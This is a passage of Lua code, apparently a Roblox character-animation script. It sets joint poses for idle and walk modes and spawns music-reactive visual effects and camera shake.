CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 55 then local snap = math.random(1,10) if snap == 1 then Neck.C0 = Clerp(Neck.C0,NECKC0*ANGLES(RAD(23 + math.random(-5,5)),RAD(math.random(-5,5)),RAD(22 + math.random(-5,5))),1) end RightHip.C0 = Clerp(RightHip.C0,CF(1,-1 - 0.1 * COS(sine / 32),0 - 0.1 * COS(sine / 32))*ANGLES(RAD(0),RAD(90),RAD(0))*ANGLES(RAD(-3),RAD(-5.5 - 2 * COS(sine / 56)),RAD(-12 - 2 * COS(sine / 32))),.1) LeftHip.C0 = Clerp(LeftHip.C0,CF(-1,-1 - 0.1 * COS(sine / 32),0 - 0.1 * COS(sine / 32))*ANGLES(RAD(0),RAD(-90),RAD(0))*ANGLES(RAD(-6),RAD(22 - 2 * COS(sine / 56)),RAD(-1 + 2 * COS(sine / 32))),.1) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0*CF(0,0,0 + 0.1 * COS(sine / 32))*ANGLES(RAD(1 - 2 * COS(sine / 32)),RAD(0),RAD(-22 + 2 * COS(sine / 56))),.1) Neck.C0 = Clerp(Neck.C0,NECKC0*ANGLES(RAD(23 - 2 * COS(sine / 37)),RAD(0 + 5 * COS(sine / 43) - 5 * COS(sine / 0.25)),RAD(22 - 2 * COS(sine / 56))),.1) RightShoulder.C0 = Clerp(RightShoulder.C0,CF(1.5,0.5 + 0.025 * COS(sine / 45),0)*ANGLES(RAD(5 + 3 * COS(sine / 43)),RAD(-16 - 5 * COS(sine / 52)),RAD(13 + 9 * COS(sine / 45))),.1) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CF(-1.35,1 + 0.025 * COS(sine / 45),-0.2)*ANGLES(RAD(148 - 2 * COS(sine / 51)),RAD(0 - 4 * COS(sine / 64)),RAD(22 - 2 * COS(sine / 45))),.1) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 56 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(34)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - sick.PlaybackLoudness/50), RAD(0), RAD(-20)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.3, 0) * ANGLES(RAD(30 + sick.PlaybackLoudness/50), RAD(0), RAD(20))* RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.1, 0.3, 0.5) * ANGLES(RAD(0), RAD(0), RAD(20)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 + sick.PlaybackLoudness/550, -0.01) * ANGLES(RAD(10), RAD(40), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, -0.01) * ANGLES(RAD(0), RAD(-70), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 1 / Animation_Speed) elseif mde == 57 then Neck.C0=CFrame.new(0,1,0)*CFrame.Angles(math.rad(90 + 5 * math.cos(SINE/60)),math.rad(180),math.rad(0 + 5 * math.cos(SINE/60))) RootJoint.C0=CFrame.new(0 + 3 * math.cos(SINE/50),0 + 1 * math.cos(SINE/80),0 + 1 * math.cos(SINE/70))*CFrame.Angles(math.rad(90),math.rad(180),math.rad(0)) RightShoulder.C0=CFrame.new(1.5,0.5,-0.5)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(5 + 5 * math.cos(SINE/40))) LeftShoulder.C0=CFrame.new(-1,0,0.4)*CFrame.Angles(math.rad(-30.7 + 5 * math.cos(SINE/60)),math.rad(9.1 + 5 * math.cos(SINE/50)),math.rad(32.1 + 5 * math.cos(SINE/40))) RightHip.C0 = CFrame.new(0.5,-0.7,0.3)*CFrame.Angles(math.rad(-10 + 10 * math.cos(SINE/45)),math.rad(0),math.rad(1 + 1 * math.cos(SINE/50))) LeftHip.C0=CFrame.new(-0.5,-1,0.3)*CFrame.Angles(math.rad(0 + 5 * math.cos(SINE/50)),math.rad(0),math.rad(1 - 1 * math.cos(SINE/50))) elseif mde == 58 then WACKYEFFECT({Time = 2.5, EffectType = "Sphere", Size = VT(7+sick.PlaybackLoudness/25,0.55,7+sick.PlaybackLoudness/25), Size2 = VT(7+sick.PlaybackLoudness/25,0.55,7+sick.PlaybackLoudness/25), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500)), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) CamShakeAll(sick.PlaybackLoudness/45,sick.PlaybackLoudness/45) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(-0.5*COS(SINE / 40),0,3-2*COS(SINE / 40))*ANGLES(RAD(-70 + 20 *COS(SINE / 40)),RAD(0),RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-15 + 25*COS(SINE / 40)), RAD(0), RAD(21 + 2.5 * SIN(SINE / 40))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1, 0.5 + 0.05 * SIN(SINE / 12), -0.5) * ANGLES(RAD(0), RAD(0), RAD(-100)) * ANGLES(RAD(20), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.3 + 0.05 * SIN(SINE / 12), -0.35) * ANGLES(RAD(0), RAD(0), RAD(70)) * ANGLES(RAD(20), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, -0.01) * ANGLES(RAD(-20+40*COS(SINE / 40)), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, -0.01) * ANGLES(RAD(-10+40*COS(SINE / 40)), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) elseif mde == 59 then WACKYEFFECT({Time = 2.5, EffectType = "Slash", Size = VT(7+sick.PlaybackLoudness/25,0.55,7+sick.PlaybackLoudness/25), Size2 = VT(7+sick.PlaybackLoudness/25,0.55,7+sick.PlaybackLoudness/25), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(100*sick.PlaybackLoudness/0,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) CamShakeAll(sick.PlaybackLoudness/70,sick.PlaybackLoudness/70) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-15 - 2.5 * SIN(SINE / 45) + MRANDOM(-4,4)), RAD(0 + MRANDOM(-4,4)), RAD(-10 + MRANDOM(-4,4))), 3 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1, 0.5 + 0.1 * COS(SINE / 45), 0.4) * ANGLES(RAD(-40), RAD(0), RAD(-38)) * RIGHTSHOULDERC0, 0.8 / Animation_Speed) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0.15 + 0.12 * COS(SINE / 45), -0.05 + 0.1 * COS(SINE / 45)) * ANGLES(RAD(-10.5 - 6 * COS(SINE / 45)), RAD(0), RAD(0)), 0.8 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.4, 0.8 + 0.1 * COS(SINE /35),0) * ANGLES(RAD(165 + MRANDOM(-4,4)), RAD(0 + MRANDOM(-4,4)), RAD(25 + MRANDOM(-4,4))) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.1 * COS(SINE / 45), -0.01) * ANGLES(RAD(-15- 6 * COS(SINE / 45)), RAD(90), RAD(0)) * ANGLES(RAD(-2), RAD(0), RAD(-15)), 0.8 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.1 * COS(SINE / 45), -0.01) * ANGLES(RAD(-15- 6 * COS(SINE / 45)), RAD(-90), RAD(0)) * ANGLES(RAD(-2), RAD(0), RAD(0)), 0.8 / Animation_Speed) end end elseif TORSOVELOCITY > 1 then ANIM = "Walk" if ATTACK == false then if mde == 0 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,3 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(40),math.rad(0),math.rad(0)),.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,-.25,0) * CFrame.Angles(math.rad(-40),math.rad(0),math.rad(0)),.7/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0) * CFrame.Angles(math.rad(-45),math.rad(0),math.rad(5 + 2 * math.cos(sine/19))) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0) * CFrame.Angles(math.rad(-45),math.rad(0),math.rad(-5 - 2 * math.cos(sine/19))) * LEFTSHOULDERC0,.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5) * CFrame.Angles(math.rad(-20 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-20 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 1 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,3 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(20),math.rad(0),math.rad(0)),0.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)),0.7/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,0.5,0) * CFrame.Angles(math.rad(-41.6-4*math.sin(sine/50)),math.rad(0),math.rad(0)) * RIGHTSHOULDERC0,0.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,0.5,0) * CFrame.Angles(math.rad(20),math.rad(0),math.rad(-10-10*math.sin(sine/50))) * LEFTSHOULDERC0,0.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,-0.01) * CFrame.Angles(math.rad(-20),math.rad(80),math.rad(10+10*math.sin(sine/50))),1/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,-0.01) * CFrame.Angles(math.rad(-10),math.rad(-80),math.rad(-10-10*math.sin(sine/50))),1/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-106.3-.9*math.cos(sine/12)),math.rad(0),math.rad(0)),1 / 2) elseif mde == 2 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,3 + .5 * math.cos(sine/15)) * CFrame.Angles(math.rad(40),math.rad(-5*math.cos(sine/30)),math.rad(0)),.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,-.25,0) * CFrame.Angles(math.rad(-40),math.rad(0),math.rad(0)),.7/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0) * CFrame.Angles(math.rad(-45),math.rad(0),math.rad(5 + 2 * math.cos(sine/19))) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0) * CFrame.Angles(math.rad(-45),math.rad(0),math.rad(-5 - 2 * math.cos(sine/19))) * LEFTSHOULDERC0,.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5) * CFrame.Angles(math.rad(-20 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-20 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 3 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,3 + .5 * math.cos(sine/9)) * CFrame.Angles(math.rad(20-2.5*math.sin(sine/9)),math.rad(0),math.rad(0)),1/2) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new() * CFrame.Angles(math.rad(-10-10*math.sin(sine/9)),math.rad(0),math.rad(0)),1/2) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5+.25*math.sin(sine/9),0) * CFrame.Angles(math.rad(-50+5*math.sin(sine/9)),math.rad(0),math.rad(0)) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5+.25*math.sin(sine/9),0) * CFrame.Angles(math.rad(110),math.rad(0),math.rad(0)) * LEFTSHOULDERC0,.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,-.01) * CFrame.Angles(math.rad(-10),math.rad(80),math.rad(5+5*math.sin(sine/9))),1/2) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,-.01) * CFrame.Angles(math.rad(0),math.rad(-80),math.rad(-5-5*math.sin(sine/9))),1/2) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 4 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC02*CFrame.new(0,math.cos(sine/25),-math.sin(sine/25)+2)*CFrame.Angles(math.rad(5*math.sin(sine/25)),0,math.rad(70)),.25) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.Angles(0,0,math.rad(-70))*CFrame.Angles(math.rad(5*math.cos(sine/25)),0,0),.25) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1,.5,-.25)*CFrame.Angles(0,math.rad(-10),math.rad(-90))* RIGHTSHOULDERC0,.25) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0)*CFrame.Angles(0,0,math.rad(-20+5*math.sin(sine/25)))* LEFTSHOULDERC0,.25) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1-.1*math.sin(sine/25),-.01)*CFrame.Angles(0,math.rad(80),0),.25) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-.5-.25*math.sin(sine/25),-.51)*CFrame.Angles(math.rad(-10),math.rad(-80),0),.25) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 5 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0*CFrame.new(0,.125*math.sin(sine/12),0)*CFrame.Angles(math.rad(10-5*math.cos(sine/12)),math.rad(-10*math.cos(sine/12)),math.rad(-5*math.cos(sine/12))),.25) Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.Angles(math.rad(10-5*math.cos(sine/12)),math.rad(10*math.cos(sine/12)),math.rad(5*math.cos(sine/12))),.25) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5+.2*math.sin(sine/12),-.25)*CFrame.Angles(math.rad(165-15*math.cos(sine/12)),math.rad(-10+5*math.sin(sine/12)),math.rad(10))*RIGHTSHOULDERC0,.25) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5-.15*math.cos(sine/12),.5*math.sin(sine/12))*CFrame.Angles(math.rad(-30*math.sin(sine/12)),math.rad(5*math.cos(sine/12)),0)*LEFTSHOULDERC0,.25) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.9-.2*math.cos(sine/12),.5*math.sin(sine/12))*CFrame.Angles(math.rad(-10-40*math.sin(sine/12)),math.rad(90+5*math.cos(sine/12)),math.rad(2.5*math.cos(sine/12))),.25) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-.9+.2*math.cos(sine/12),-.5*math.sin(sine/12))*CFrame.Angles(math.rad(-10+40*math.sin(sine/12)),math.rad(-90+5*math.cos(sine/12)),math.rad(2.5*math.cos(sine/12))),.25) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15)*CFrame.Angles(math.rad(-106.3-.9*math.cos(sine/12)),0,0),.25) elseif mde == 6 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,3+0.5*math.cos(sine / 41)) * CFrame.Angles(math.rad(0+1*math.cos(sine / 41)), math.rad(0+1*math.cos(sine / 27)), math.rad(0+1*math.cos(sine / 32))),0.35) Neck.C0 = Clerp(Neck.C0, NECKC0 * CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(20+5*math.cos(sine / 40)), math.rad(0+1*math.cos(sine / 12)), math.rad(0)),0.35) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.25,.5,-.1) * CFrame.Angles(math.rad(45),math.rad(-45),math.rad(0)) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CFrame.new(-0.6, 0.5, -0.3) * CFrame.Angles(math.rad(60+1*math.cos(sine / 22)), math.rad(0+1*math.cos(sine / 25)), math.rad(70+1*math.cos(sine / 30))) * LEFTSHOULDERC0,0.35) RightHip.C0 = Clerp(RightHip.C0, CFrame.new(1, -1, -1) * CFrame.Angles(math.rad(90), math.rad(-20), math.rad(-70)) * CFrame.Angles(math.rad(0+1*math.cos(sine / 23)), math.rad(90+1*math.cos(sine / 34)), math.rad(0+1*math.cos(sine / 31))),0.35) LeftHip.C0 = Clerp(LeftHip.C0, CFrame.new(-1, -1 , 0) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0)) * CFrame.Angles(math.rad(0+1*math.cos(sine / 26)), math.rad(-90+1*math.cos(sine / 20)), math.rad(0+1*math.cos(sine / 30))),0.35) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(-.02,-10,0) * CFrame.Angles(math.rad(140),math.rad(0),math.rad(-40)),1) elseif mde == 8 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,3 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(40),math.rad(0),math.rad(0)),.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,-.25,0) * CFrame.Angles(math.rad(-40),math.rad(0),math.rad(0)),.7/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0) * CFrame.Angles(math.rad(-45),math.rad(0),math.rad(5 + 2 * math.cos(sine/19))) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.25, 0.5, 0.5) * ANGLES(RAD(-45), RAD(0), RAD(45)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 7 then Speed = 50 if NeckSnap then Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.Angles(math.rad(20),math.rad(10*math.sin(sine/100)),0),1) NeckSnap = false else Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.Angles(math.rad(20),math.rad(10*math.sin(sine/100)),0),.25) end if math.random(1,60) == 1 then Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,0,0) * CFrame.Angles(math.rad(20+math.random(-20,20)),math.rad((10*math.cos(sine/100))+math.random(-20,20)),math.rad(math.random(-20,20))),1) end GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0*CFrame.new(0 + .5 * math.cos(sine/50),0,3 - .5 * math.sin(sine/50))*CFrame.Angles(math.rad(40),0,0),.25) Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.new(0,-.25,0)*CFrame.Angles(math.rad(-40),0,0),.25) RightShoulder.C0 = Clerp(RightShoulder.C0, CFrame.new(1.55, 0.5, 0.5) * CFrame.Angles(math.rad(250), math.rad(20), math.rad(-80))* RIGHTSHOULDERC0, 1 / 3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0)*CFrame.Angles(math.rad(-45),0,math.rad(-5-2*math.cos(sine/19)))*LEFTSHOULDERC0,.25) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5)*CFrame.Angles(math.rad(-20+9*math.cos(sine/74)),math.rad(80),0)*CFrame.Angles(math.rad(5*math.cos(sine/37)),0,0),.25) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0)*CFrame.Angles(math.rad(-20-9*math.cos(sine/54)),math.rad(-80),0)*CFrame.Angles(math.rad(-5*math.cos(sine/41)),0,0),.25) elseif mde == 9 then Speed = 50 local headsnap = math.random(1,60); local headsnapping=false; if headsnap == 1 then Neck.C0 = Clerp(Neck.C0, NECKC0 * CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(math.random(500,500)), math.rad(math.random(500,500)), math.rad(math.random(500,500))), 1)headsnapping=true headsnapping=false end RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 , 0 , 3 - .5 * math.sin(sine/25)) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.8 / 3) Neck.C0 = Clerp(Neck.C0, NECKC0 * CFrame.new(0, 0, 0) * CFrame.Angles(25-math.rad(math.random(0.25,3)), math.rad(math.random(0.25,3)), math.rad(math.random(0.25,3))), .7 / 3) RightShoulder.C0 = Clerp(RightShoulder.C0, CFrame.new(1.5, 0.5, 0) * CFrame.Angles(math.rad(-41.6-4*math.sin(sine/25)), math.rad(math.random(-0.25,3)), math.rad(math.random(0.25,3)))* RIGHTSHOULDERC0, .7 / 3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CFrame.new(-1.5, 0.5, 0) * CFrame.Angles(math.rad(90-4*math.sin(sine/25)), math.rad(5+2* math.sin(sine/25+math.random(-0.25,3))), math.rad(-2+5*math.sin(sine / 25))) * LEFTSHOULDERC0, .7 / 3) RightHip.C0 = Clerp(RightHip.C0, CFrame.new(1, -1, 0) * CFrame.Angles(math.rad(-30-4*math.sin(sine/25-math.random(0.25,3))), math.rad(80), math.rad(0)), .7 / 3) LeftHip.C0 = Clerp(LeftHip.C0, CFrame.new(-1, -1 , 0) * CFrame.Angles(math.rad(-20-4*math.sin(sine/25-math.random(-0.25,3))), math.rad(-80), math.rad(0)), .7 / 3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 10 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,3 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(20),math.rad(0),math.rad(0)),.7/3) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(35), RAD(25), RAD(5)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.1, 0) * ANGLES(RAD(300), RAD(0), RAD(0))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.25, 0.5, 0.5) * ANGLES(RAD(-50), RAD(0), RAD(45)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 11 then Speed = 50 WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(1*sick.PlaybackLoudness/25,0.05,1*sick.PlaybackLoudness/25), Size2 = VT(0,0,0), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(100*sick.PlaybackLoudness/500,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0* 1, 0* 1, -0.175 + 0.025 * COS(Sine / 3.5) + -SIN(Sine / 3.5) / 7* 1) * ANGLES(RAD(26 - 4.5 * COS(Sine / 3.5)), RAD(0) - Character.Torso.RotVelocity.Y / 75, RAD(15 * COS(Sine / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(25 + MRANDOM(-5,5) - 4 * COS(Sine / 12)), RAD(MRANDOM(-5,5)), RAD(15)), 1 / 3) if math.random(1,5) == 1 then Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 + MRANDOM(-25,25) - 4 * COS(Sine / 12)), RAD(MRANDOM(-25,25)), RAD(0)), 1.5 / 3) end RightHip.C0 = Clerp(RightHip.C0, CF(1* 1, -0.925 - 0.5 * COS(Sine / 7) / 2* 1, 0.7 * COS(Sine / 7) / 2* 1) * ANGLES(RAD(-15 - 55 * COS(Sine / 7)) - Character["Right Leg"].RotVelocity.Y / 75 + -SIN(Sine / 7) / 2.5, RAD(90 - 0.1 * COS(Sine / 7)), RAD(0)) * ANGLES(RAD(0 + 0.1 * COS(Sine / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1* 1, -0.925 + 0.5 * COS(Sine / 7) / 2* 1, -0.7 * COS(Sine / 7) / 2* 1) * ANGLES(RAD(-15 + 55 * COS(Sine / 7)) + Character["Left Leg"].RotVelocity.Y / 75 + SIN(Sine / 7) / 2.5, RAD(-90 - 0.1 * COS(Sine / 7)), RAD(0)) * ANGLES(RAD(0 - 0.1 * COS(Sine / 7)), RAD(0), RAD(0)), 0.3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5+.2*math.sin(Sine/12),-.25)*CFrame.Angles(math.rad(165-15*math.cos(Sine/12)),math.rad(-10+5*math.sin(Sine/12)),math.rad(10))*RIGHTSHOULDERC0,.25) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5 + 0.05 * SIN(Sine / 30)* 1, -0.34 * COS(Sine / 7* 1)) * ANGLES(RAD(-110) * COS(Sine / 7) , RAD(-90) , RAD(-13) + Character["Left Arm"].RotVelocity.Y / 75), 0.15) elseif mde == 12 then Speed = 50 Effect({Time = MRANDOM(80,100),EffectType = "Box",Size = VT(2.75,2.75,2.75), Size2 = VT(0,0,0),Transparency = 0, Transparency2 = 1,CFrame = hitb.CFrame*ANGLES(RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360))),MoveToPos = nil,RotationX = MRANDOM(-100/100,100/100), RotationY = MRANDOM(-100/100,100/100), 